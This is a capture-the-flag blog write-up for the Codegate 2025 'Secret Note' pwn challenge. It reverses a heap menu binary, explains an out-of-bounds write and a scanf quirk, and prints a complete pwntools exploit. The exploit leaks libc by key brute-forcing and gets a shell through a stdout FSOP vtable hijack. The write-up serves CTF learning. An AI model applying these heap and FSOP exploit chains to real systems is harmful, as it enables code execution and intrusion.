- Published on
Codegate 2025 - Quals - Pwn - Secret Note
- Authors

- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description

Solution
We were given the following files:
$ unzip -l for_user.zip
Archive: for_user.zip
Length Date Time Name
--------- ---------- ----- ----
0 2025-03-24 08:15 deploy/
151 2025-03-24 08:15 docker-compose.yml
618 2025-03-24 08:15 Dockerfile
40 2025-03-24 08:15 deploy/run.sh
23 2025-03-24 08:15 deploy/flag
16528 2025-03-24 08:15 deploy/prob
--------- -------
17360 6 files
To fetch the correct libc, I used my get-deps-from-dockerfile script.
Reversing
Since we were given a binary, the first part was idenitifying the bugs by reversing the binary. I loaded the binary in IDA and found the following:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
delete();
}
if ( v3 <= 3 )
{
if ( v3 == 1 )
{
create();
}
else if ( v3 == 2 )
{
edit();
}
}
}
}
The main function looked fairly simple as would that of a normal heap-chall menu-driven program.
Looking at the menu, we quickly found that we have 3 options:
| Option | Task |
|---|---|
| 1 | Create |
| 2 | Edit |
| 3 | Delete |
One quick thing I noticed off the bat was the lack of a view/read function that would allow us to read the contents of the chunk. Then, I started to hunt for the bug(s).
1. Out-of-Bound Write by re-updating the size field.
The first bug was in the create function.
unsigned __int64 create()
{
int curr_idx; // ebx
int idx; // [rsp+0h] [rbp-30h] BYREF
unsigned int key; // [rsp+4h] [rbp-2Ch] BYREF
note *current_chunk; // [rsp+8h] [rbp-28h]
void *buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+18h] [rbp-18h]
v6 = __readfsqword(0x28u);
key = 0;
printf("Index: ");
__isoc99_scanf("%d", &idx);
if ( idx < 0 || idx > 15 )
{
LABEL_9:
puts("Error");
return v6 - __readfsqword(0x28u);
}
if ( !chunks[idx] )
{
curr_idx = idx;
chunks[curr_idx] = (note *)malloc(0x10uLL);
}
printf("Key: ");
__isoc99_scanf("%u", &key);
if ( key <= 0x1000000 )
{
current_chunk = chunks[idx];
printf("Size: ");
__isoc99_scanf("%d", ¤t_chunk->size);
if ( (int)current_chunk->size <= 0x400 )
{
buf = malloc((int)current_chunk->size);
if ( buf )
{
printf("Data: ");
read(0, buf, (int)current_chunk->size);
current_chunk->buf = (char *)buf;
current_chunk->key = key;
puts("Save completed");
return v6 - __readfsqword(0x28u);
}
}
goto LABEL_9;
}
printf("Error");
return v6 - __readfsqword(0x28u);
Here, what the function is doing is it firstly asks for an index where you'll store the note. The layout of a note is:
struct note // sizeof=0x10
{
char *buf;
unsigned int size;
unsigned int key;
};
Index is a signed int but the if condition also checks for a case when idx <= 0 so relative-oob wouldn't work here. And the max index allowed is 0xF. After this, the program checks:
if ( !chunks[idx] )
{
curr_idx = idx;
chunks[curr_idx] = (note *)malloc(0x10uLL);
}
If a chunk doesn't exist at the specified index in the chunks array, it simply allocates a new chunk of size 0x10 to store the metadata of the chunk.
The next check is for the key and if key <= 0x1000000, it proceeds further and asks for the size. Now the actual bug is in the following block:
current_chunk = chunks[idx];
printf("Size: ");
__isoc99_scanf("%d", ¤t_chunk->size);
if ( (int)current_chunk->size <= 0x400 )
{
...
}
printf("Error");
return v6 - __readfsqword(0x28u);
Now, the bug here is that, it fetches the metadata chunk from chunks[idx]. And, it takes input into the size field of the chunk and after that it checks if size <= 0x400. Now, in case of a scenario, if a create a chunk at index 0. Then, when we re-invoke create with index 0, what this would do, is it would update the size field of the existing chunk, hence giving us an oob-write primitive (for this, we'll have to look at edit to).
To support this, let's debug this in gdb:

We can that size field was updated correctly, hence proving our analysis.
2. Improper use of scanf leading to breaking and skipping existing entries
Looking at the create function, another bug is in the key and size field:
printf("Key: ");
__isoc99_scanf("%u", &key);
if ( key <= 0x1000000 )
{
current_chunk = chunks[idx];
printf("Size: ");
__isoc99_scanf("%d", ¤t_chunk->size);
if ( (int)current_chunk->size <= 0x400 )
{
Now, the bug here is that __isoc99_scanf("%u", &key);, no matter what key we give it, it stores it inside the key variable which is a local variable. However, if we give - to scanf when asking for size, we can esentially preserve the value at ¤t_chunk->size by just breaking scanf.
[3.?] 4-byte leak in size by guessing the key in edit.
Not really a bug but we abused this a primitive due to the first bug.
After finding the oob write primitive, I started to find a leak (only libc leak needed and we can easily get a shell). For that, I hadn't properly analyzed the rest of the binary and thought that it was leakless binary, so I talked to my teammates on a discord call (hexamine and rootxran), with very small context, they recommended House of Water. I decided to read up on it but actually decided to reverse the edit function:
unsigned __int64 edit()
{
int idx; // [rsp+8h] [rbp-18h] BYREF
int key; // [rsp+Ch] [rbp-14h] BYREF
note *curr_chunk; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
key = 0;
printf("Index: ");
__isoc99_scanf("%d", &idx);
if ( idx >= 0
&& idx <= 15
&& (curr_chunk = chunks[idx]) != 0LL
&& curr_chunk->buf
&& (printf("Key: "), __isoc99_scanf("%u", &key), curr_chunk->key == key) )
{
printf("Data(%d): ", curr_chunk->size);
read(0, curr_chunk->buf, (int)curr_chunk->size);
puts("Edit completed");
}
else
{
puts("Error");
}
return v4 - __readfsqword(0x28u);
}
Now, keeping in mind the previous out-of-bound write bug. I created the following chunk in my mind:
0x555555559290 0x0000000000000000 0x0000000000000421
0x5555555592a0 0x00007fffffff92c0 0x00007fffffff92c0
0x5555555592a0 0x0000000000000000 0x0000000000000000
Now, suppose that this chunk was at index 0. So, then the note would be:
buf => 0x00007fffffff92c0
size => 0xffff92c0
key => 0x00007fff
So, in the edit primitive:
(printf("Key: "), __isoc99_scanf("%u", &key), curr_chunk->key == key) )
{
printf("Data(%d): ", curr_chunk->size);
...
}
else
{
puts("Error");
}
Now, keeping the chunk we created in mind, we can see that the comparison; if fails, simply returns error. If it succeeeds, it would print the size field. So, we can actually get the entire libc leak by simply bruteforcing the key, i.e. we have to do a bruteforce from 0x7e00 to 0x7fff, so it isn't that big of a number and we can easily bruteforce it.
Exploitation
Now that we know the bugs, let's note the plan of action:
- Using the first bug to get oob-write.
- Make 3 chunks point to the same buf by overwriting the last-byte of
*bufusing oob-write. - Edit size field of a chunk to free into tcache and unsorted-bin.
- Allocate that chunk into the metadata whilst making use of scanf bug to preserve existing data (libc leak)
- Brute-force the key to get a full libc leak
- Overwrite the *buf of any of the chunks to gain a good write on stdout and get shell when
putsis invoked after theeditcall.
Now, the base-exploit looks like the following:
#!/usr/bin/env python3
from pwn import *
from tqdm import *
context.terminal = ["tmux", "splitw", "-h"]
encode = lambda e: e if type(e) == bytes else str(e).encode()
hexleak = lambda l: int(l[:-1] if l[-1] == b'\n' else l, 16)
fixleak = lambda l: unpack((l[:-1] if (l[-1] == b'\n' or l[-1] == '\n') else l).ljust(8, b"\x00"))
rfixleak = lambda l: unpack((l[:-1] if (l[-1] == b'\n' or l[-1] == '\n') else l).rjust(8, b"\x00"))
_base_ = lambda a: a[0].split(':') if ':' in a[0] else a
parse = lambda a: _base_(a[2:] if (a and a[1] == 'nc') else a[1:])
solve_pow = lambda a: a.sendlineafter(b": ", os.popen(a.recvlines(2)[1].decode()).read().split()[1].encode())
def attach(_input: bool = False):
gdbscript = """
# set max-visualize-chunk-size 0x500
b *edit+358
b *puts+200
b *puts+159
b *__GI__IO_wfile_overflow
b *_IO_wdoallocbuf+36
"""
# For gdb remote debugging
_exe, _mode = (None, io) if not args.REMOTE else ("/usr/bin/gdb", ("127.0.0.1", 9001))
if args.REMOTE: f"file {exe}\n"+gdbscript
if args.GDB:
if _input and _exe: input("Attach GDB? ")
gdb.attach(_mode, exe=_exe, gdbscript=gdbscript)
if _input and not _exe: input("Continue?")
exe = "./prob_patched"
elf = context.binary = ELF(exe)
libc = elf.libc
io = remote(*parse(sys.argv)
) if args.REMOTE else process(argv=[exe], aslr=False)
def menu(idx):
io.sendlineafter(b"> ", encode(idx))
def create(idx, key, size, data=None, ln=True):
menu(1)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
io.sendlineafter(b": ", encode(size))
if data:
(io.sendlineafter if ln else io.sendafter)(b": ", (data))
def edit(idx, key, data, ln=True):
menu(2)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
# we can get the size:
io.recvuntil(b"Data(")
sz = int(io.recvuntil(b")")[:-1])
info("got edit size: %d" % sz)
(io.sendlineafter if ln else io.sendafter)(b": ", (data))
return sz
def delete(idx, key):
menu(3)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
Now, let's look at the heap state by allocating 5 chunks:
create(0x0, 0xF, 0x10, b"AAAAAAAA")
create(0x1, 0xF, 0x10, b"BBBBBBBB")
create(0x2, 0xF, 0x10, b"CCCCCCCC")
create(0x3, 0xF, 0x400, b"DDDDDDDD"
create(0x4, 0xF, 0x10, b"GUARD1"))
We need to have 1 guard-allocation to prevent forward consolidation with the top chunk.

Now, if we were to look closely, chunks[0x1]->buf, chunks[0x2]->buf and chunks[0x3]->buf have a one-byte difference between each of them. What we actually need to is we need to overwrite the size field of one of the chunks to 0x431 so that when they're free'd, they go into the unsorted bin. But, we also want another chunk inside the chunks array to point to the same chunk that's in unsorted bin so we can actually bruteforce the key and gain libc leak. One of the ways we can do that is that if we overwrite the last byte of chunks[0x1]->buf to point to chunks[0x3]->buf and same for chunks[0x2]->buf to chunks[0x3]->buf. Inside the delete function:
free(ptr->buf);
ptr->buf = 0LL;
ptr->key = 0;
ptr->size = 0;
free(ptr);
chunks[idx] = 0LL;
The first thing that is free'd is the ptr->buf and then the ptr itself is free'd. So, if chunks[0x3]->buf has a size of 0x21, it would be free'd into the 0x20 tcache, from which the metadata actually allocates. After this, if we allocate a new chunk, it would allocate the metadata on this chunk. Then, if we were to re-update the size field from 0x21 to 0x421, then when we free it from chunks[0x3], it would now be free'd into the unsorted bin.
Moving step-by-step, let's start out by simply overwriting the size field of the chunks[0x3]->buf to 0x21. To do that, I will do oob-write on chunks[0x0], overwrite the lsb of chunks[0x1]->buf to point to this chunk and then simply update the size field.
create(0x0, 0xF, 0x10000) # oob-primitive
payload = flat(
cyclic(0x18, n=8),
0x21, # size,
p8(0x78), # points to size of 0x411 chunk
)
edit(0x0, 0xF, payload, ln=False)
This esentially overwrites the chunk[0x1]->buf's lsb to point to the size field:

Now, when we do edit on chunks[0x1], it would update the size field of chunks[0x3]->buf.
edit(0x1, 0xF, p64(0x21), ln=False)

Now, we'll simply free this chunk and it will go into the 0x20 tcache:
delete(0x3, 0xF)

Now, since we have two chunks, and the chunk we want to poison actually is 0x1 in tcache, we'll allocate two more chunks. But this time, the first chunk will be allocated of size > 0x20 to prevent our poisoned chunk from being allocated as buf rather than note.
create(0x3, 0xF, 0x20, b"EEEEEEEE")
create(0x5, 0xF, 0x10, b"FFFFFFFF") # <= Poisoned chunk

Now, the next step is that we can simply update the size field back to 0x431 and then update the pointer of chunks[0x1]->buf to point to this chunk (0x80). Then, when we free 0x1, this would now go into the unsorted bin. And then, chunks[0x5] will help us in gaining leaks.
edit(0x1, 0xF, p64(0x431), ln=False)
payload = flat(
cyclic(0x18, n=8),
0x21, # size,
p8(0x80), # points to size of chunks[0x5]
)
edit(0x0, 0xF, payload, ln=False)
delete(0x1, 0xF)

Now, that we have the libc leak in the chunks[0x5] metadata, the only thing we need to do is write a function that will simply bruteforce the upper 2-bytes of libc to get a stable leak. Once we have that, we get the remaining 4-bytes when the size is printed. For that, I wrote the following function:
def brute_force_key(idx):
"""
What we're doing here is simple.
Using the edit primitive, we can bruteforce
one byte of the key. We know that 0x7f will
be there We'll start from 0x7800 -> 0x7fff
"""
info("Bruteforcing key...")
for key in tqdm(range(0x7800, 0x7fff)):
menu(2)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
msg = io.recv(5)
if b"Error" in msg:
continue
leak = hex(int(io.recvuntil(b")")[:-1]) & 0xFFFFFFFF)[2:]
key = hex(key)[2:]
leak = hexleak(key+leak)
info("leak @ %#x" % leak)
rcv = io.recv(5, timeout=1)
if len(rcv) < 5:
io.send(b"\x00") # let's not modify anything.
return leak
I usually develop my exploits with
aslr=False, as can be seen from the screenshots but moving forward, to make sure the exploit works, I doaslr=True.
The only thing that we need to pass into this function is the index where our poisoned chunk resides, in our case, it is 0x5:
libc.address = brute_force_key(0x5) - 0x219ce0
info("libc @ %#x" % libc.address)

Now that we have the libc leak, the rest of the problem becomes much much simpler. As we can now easily gain arb-write in libc.
However, there was no exit in the program. So the only thing that I found was most simplest was using stdout fsop. Looking at the edit function:
read(0, curr_chunk->buf, (int)curr_chunk->size);
puts("Edit completed");
We can see that, puts is called immediately after read. Prying open puts:

We can see that if we were to hijack the vtable and points r14 to point to &vtable['_IO_wfile_overflow']-0x38, it would allow us to gain a good primitive.
For more details on FSOP, I'm writing an insanely detailed guide which I hope I will be able to complete in a few months.
But after this, I just copied the stub that I have setup myself, modified a few offsets to cater puts and then this time, instead of overwriting one-byte, I overwrote the entire *buf to point to stdout and overwrote the size field as well.
info("stdout @ %#x" % libc.sym._IO_2_1_stdout_)
fake_chunk = flat(
cyclic(0x10, n=8),
p64(0x20),
p64(0x21), # size
p64(libc.sym._IO_2_1_stdout_), # *buf
p32(0x1000), # size
p32(0xf) # key
)
create(0x1, 0xF, 0x10, b"GGGGGGGG")
edit(0x0, 0xF, fake_chunk, ln=False)

Now, if we just edit 0x1, we gain code execution:
vtable = libc.sym._IO_wfile_jumps
io_file = libc.sym._IO_2_1_stdout_
info("vtable @ %#x" % vtable)
info("system @ %#x" % libc.sym.system)
payload = flat(
unpack(b" sh".ljust(8, b"\x00")),
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, b"AAAAAAAA", 0x00, 0x0, 0x0, libc.sym.system,
0x0, 0x0, 0x00, io_file+0x8, 0x00,
b"CCCCCCCC", (io_file+0x8),
0x0, 0x0, 0x0, 0x0, 0x0, io_file,
vtable)
edit(0x1, 0xF, payload, ln=False)

However, when I kept trying this against the remote, I kept facing issues:

To debug the issue, I installed gdb server inside the docker container, ran my exploit and then attached gdb to the process (implementation inside the attach method in the exploit)

Now, while the program waits, go inside docker container and run the following command:
gdbserver :1234 --attach `pidof prob`

After debugging, I found out that the offset of vtable where __IO_wfile_overflow was different on remote. I fixed that (it was off by 0x20)


The other issue was, when call qword ptr [rax + 0x68] happens inside the _IO_wdoallocbuf, even though we stored address of system, there was a meaningless address stored there.


Now, what I did here was simply get the offset of system from remote and then just call that:

I just updated my payload as follows:
- 0x00, b"AAAAAAAA", 0x00, 0x0, 0x0, libc.sym.system,
+ 0x00, b"AAAAAAAA", 0x00, 0x0, 0x0, (libc.address + 0x50d70 if args.REMOTE else libc.sym.system),
Now, rerunning the exploit on remote I faced the exact same issue. I decided to check the libc base:

Oddly enough, the base I got was +0x1000. But, for some reason, the vtable offset and stdout offsets were correct. The only thing that was messed up was system's address. Weird. So, I subtracted 0x1000 from the system offset and got this payload:
- 0x00, b"AAAAAAAA", 0x00, 0x0, 0x0, (libc.address + 0x50d70 if args.REMOTE else libc.sym.system),
+ 0x00, b"AAAAAAAA", 0x00, 0x0, 0x0, (libc.address + 0x4fd70 if args.REMOTE else libc.sym.system),

Now, we got the shell!

Getting the shell on the actual remote took some time because the servers were in Korea and the latency was real.
Final exploit:
#!/usr/bin/env python3
from pwn import *
from tqdm import *
context.terminal = ["tmux", "splitw", "-h"]
encode = lambda e: e if type(e) == bytes else str(e).encode()
hexleak = lambda l: int(l[:-1] if l[-1] == b'\n' else l, 16)
fixleak = lambda l: unpack((l[:-1] if (l[-1] == b'\n' or l[-1] == '\n') else l).ljust(8, b"\x00"))
rfixleak = lambda l: unpack((l[:-1] if (l[-1] == b'\n' or l[-1] == '\n') else l).rjust(8, b"\x00"))
_base_ = lambda a: a[0].split(':') if ':' in a[0] else a
parse = lambda a: _base_(a[2:] if (a and a[1] == 'nc') else a[1:])
solve_pow = lambda a: a.sendlineafter(b": ", os.popen(a.recvlines(2)[1].decode()).read().split()[1].encode())
def attach(_input: bool = False):
gdbscript = f"file prob\n" if args.REMOTE else ""
gdbscript += """
set max-visualize-chunk-size 0x500
b *edit+358
b *puts+200
b *puts+159
b *__GI__IO_wfile_overflow
b *_IO_wdoallocbuf+36
"""
# For gdb remote debugging
_exe, _mode = (None, io) if not args.REMOTE else ("/usr/bin/gdb", ("127.0.0.1", 9001))
if args.GDB:
if _input and _exe: input("Attach GDB? ")
gdb.attach(_mode, exe=_exe, gdbscript=gdbscript)
if _input and not _exe: input("Continue?")
exe = "./prob_patched"
elf = context.binary = ELF(exe)
libc = elf.libc
io = remote(*parse(sys.argv)
) if args.REMOTE else process(argv=[exe], aslr=True)
def menu(idx):
io.sendlineafter(b"> ", encode(idx))
def create(idx, key, size, data=None, ln=True):
menu(1)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
io.sendlineafter(b": ", encode(size))
if data:
(io.sendlineafter if ln else io.sendafter)(b": ", (data))
def edit(idx, key, data, ln=True):
menu(2)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
# we can get the size:
io.recvuntil(b"Data(")
sz = int(io.recvuntil(b")")[:-1])
info("got edit size: %d" % sz)
(io.sendlineafter if ln else io.sendafter)(b": ", (data))
return sz
def delete(idx, key):
menu(3)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
def brute_force_key(idx):
"""
What we're doing here is simple.
Using the edit primitive, we can bruteforce
one byte of the key. We know that 0x7f will
be there We'll start from 0x7800 -> 0x7fff
"""
info("Bruteforcing key...")
for key in tqdm(range(0x7f00, 0x7fff)):
menu(2)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(key))
msg = io.recv(5)
if b"Error" in msg:
continue
leak = hex(int(io.recvuntil(b")")[:-1]) & 0xFFFFFFFF)[2:]
key = hex(key)[2:]
leak = hexleak(key+leak)
info("leak @ %#x" % leak)
rcv = io.recv(5, timeout=1)
if len(rcv) < 5:
io.send(b"\x00") # let's not modify anything.
return leak
# Padding chunk so we have everything aligned:
create(0x0, 0xF, 0x10, b"AAAAAAAA")
"""
Create two adjacent chunks:
"""
create(0x1, 0xF, 0x10, b"BBBBBBBB")
create(0x2, 0xF, 0x10, b"CCCCCCCC")
create(0x3, 0xF, 0x400, b"DDDDDDDD")
"""
Now create two more chunks so that when we free the chunk into unsorted bin,
we won't do consolidation (guard allocations)
"""
create(0x4, 0xF, 0x10, b"GUARD1")
"""
Do OOB on 0x0 to make 0x1->buf point to 0x3+0x10 and then update the size field of 0x3->buf to 0x21
"""
create(0x0, 0xF, 0x10000) # oob-primitive
payload = flat(
cyclic(0x18, n=8),
0x21, # size,
p8(0x78), # points to size of 0x411 chunk
)
edit(0x0, 0xF, payload, ln=False)
edit(0x1, 0xF, p64(0x21), ln=False)
"""
Free the chunk into 0x21 tcache
"""
delete(0x3, 0xF)
"""
Allocate two chunks, second will point to our poisoned chunk:
"""
create(0x3, 0xF, 0x20, b"EEEEEEEE")
create(0x5, 0xF, 0x10, b"FFFFFFFF") # <= Poisoned chunk
"""
Update the size field to 0x431
"""
edit(0x1, 0xF, p64(0x431), ln=False)
"""
Overwrite the lsb of `chunks[0x1]->buf` to
"""
payload = flat(
cyclic(0x18, n=8),
0x21, # size,
p8(0x80), # points to size of chunks[0x5]
)
edit(0x0, 0xF, payload, ln=False)
"""
Deleting 1 now puts this chunk in the unsorted bin.
"""
delete(0x1, 0xF)
"""
Bruteforcing key:
"""
leak = brute_force_key(0x5)
if not leak:
error("No libc leak :(")
libc.address = leak - 0x219ce0
info("libc @ %#x" % libc.address)
"""
Make chunks[0x1]->buf point to stdout
"""
info("stdout @ %#x" % libc.sym._IO_2_1_stdout_)
fake_chunk = flat(
cyclic(0x10, n=8),
p64(0x20),
p64(0x21), # size
p64(libc.sym._IO_2_1_stdout_), # *buf
p32(0x1000), # size
p32(0xf) # key
)
create(0x1, 0xF, 0x10, b"GGGGGGGG")
edit(0x0, 0xF, fake_chunk, ln=False)
"""
Now just do code execution
"""
vtable = libc.sym._IO_wfile_jumps - (0x20 if args.REMOTE else 0x0)
io_file = libc.sym._IO_2_1_stdout_
info("vtable @ %#x" % vtable)
info("system @ %#x" % libc.sym.system)
payload = flat(
unpack(b" sh".ljust(8, b"\x00")),
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, b"AAAAAAAA", 0x00, 0x0, 0x0, (libc.address + 0x4fd70 if args.REMOTE else libc.sym.system),
0x0, 0x0, 0x00, io_file+0x8, 0x00,
b"CCCCCCCC", (io_file+0x8),
0x0, 0x0, 0x0, 0x0, 0x0, io_file,
vtable)
attach(_input=True)
edit(0x1, 0xF, payload, ln=False)
io.interactive()
Overall it was a really good challenge.
I had fun gaslighting libc :sob: